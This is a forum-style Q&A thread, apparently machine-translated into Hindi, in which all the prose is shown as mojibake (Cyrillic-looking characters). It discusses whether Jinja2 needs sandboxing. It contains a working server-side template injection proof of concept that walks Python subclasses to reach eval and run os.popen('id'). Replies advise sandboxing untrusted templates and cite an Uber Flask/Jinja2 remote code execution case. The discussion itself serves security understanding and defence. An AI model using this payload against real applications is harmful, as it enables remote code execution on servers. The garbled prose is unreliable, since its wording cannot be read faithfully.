рдЬрдм рдореИрдВ рдЕрдкрдиреЗ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдореЗрдВ Jinja2 рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдлреНрд░реЗрдорд╡рд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реВрдВ, рддреЛ рдореБрдЭреЗ "os.popen ('id')" рдпрд╛ рд╡реИрд╢реНрд╡рд┐рдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдорд┐рд▓рд╛ред
рдЬрдм рд╣рдорд▓рд╛рд╡рд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддреЛ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реЛрддрд╛ рд╣реИред рдХреНрдпрд╛ рдРрд╕рд╛ рдбрд┐рдЬрд╝рд╛рдЗрди рд╣реИ?
рдкреАрдУрд╕реА:
from jinja2 import Template
content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()
рдореИрдВ рдЗрд╕ рдХреЛрдб рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдкрд╛рдпрдерди 2 (2.7.10) рдФрд░ рдЬрд┐рдВрдЬрд╛ 2 (2.8) рдХреЗ рд╕рд╛рде рдХрд░рддрд╛ рд╣реВрдВ, рдЕрдЧрд░ рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рддреЛ рдЖрдкрдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдпреВрдЖрдИрдбреА рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛ ...
рдЖрдкрдХреЛ рдЧреИрд░-рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╡рд╛рд▓реЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░рдиреЗ рдЪрд╛рд╣рд┐рдПред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореМрдЬреВрдж рд╣реИ (рдФрд░ рдИрдорд╛рдирджрд╛рд░ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛтАЛтАЛрдХрд┐ рдПрдХ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рд╕рд╛рде рднреА рдореИрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдЬрд┐рдиреНрдЬрд╛ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд░рдиреЗ рджреВрдВрдЧрд╛)
рддреЛ, рдХреНрдпрд╛ рдЗрд╕ рдорд╛рдорд▓реЗ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрд╛рдп рдХрд░рдирд╛ рдЬрд░реВрд░реА рд╣реИ? рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЯреЗрдореНрдкрд▓реЗрдЯ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдХреЛрдИ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдЙрджрд╛рд╣рд░рдг рдирд╣реАрдВ рд╣реИред
рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдлреНрд▓рд╛рд╕реНрдХ рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╡реЗрдм рдврд╛рдВрдЪреЗ рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдЬрд┐рдиреНрдЬрд╛ 2 рдРрд╕рд╛ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред
рдЖрдк рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрдпреЛрдВ рдХрд░рдирд╛ рдЪрд╛рд╣реЗрдВрдЧреЗ? рдЬреНрдпрд╛рджрд╛рддрд░ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдХреЛ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд▓реЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдирд╣реАрдВ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рдирдХреЗ рдкрд╛рд╕ рд╡реИрд╕реЗ рднреА рдХреЛрдб рддрдХ рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рд╣реИред
Uber рдореЗрдВ рдлреНрд▓рд╛рд╕реНрдХ/Jinja2 рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдорд╛рдорд▓рд╛ рд╣реИред
рд▓рд┐рдВрдХ: http://www.tuicool.com/articles/uE3YNjY
рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рдХреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рдмреИрдХрд╡рд░реНрдб рдХрдВрдкреИрдЯ рдХреЗ рдХрд╛рд░рдг рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рдФрд░ рдпрд╣ рднреА рдЙрдЪрд┐рдд рдирд╣реАрдВ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЕрдзрд┐рдХрд╛рдВрд╢ рдЯреЗрдореНрдкреНрд▓реЗрдЯ (рдлреНрд▓рд╛рд╕реНрдХ рдореЗрдВ) рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реИрдВред
рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА рдЯрд┐рдкреНрдкрдгреА
рдЖрдкрдХреЛ рдЧреИрд░-рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╡рд╛рд▓реЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░рдиреЗ рдЪрд╛рд╣рд┐рдПред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореМрдЬреВрдж рд╣реИ (рдФрд░ рдИрдорд╛рдирджрд╛рд░ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛтАЛтАЛрдХрд┐ рдПрдХ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рд╕рд╛рде рднреА рдореИрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдЬрд┐рдиреНрдЬрд╛ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд░рдиреЗ рджреВрдВрдЧрд╛)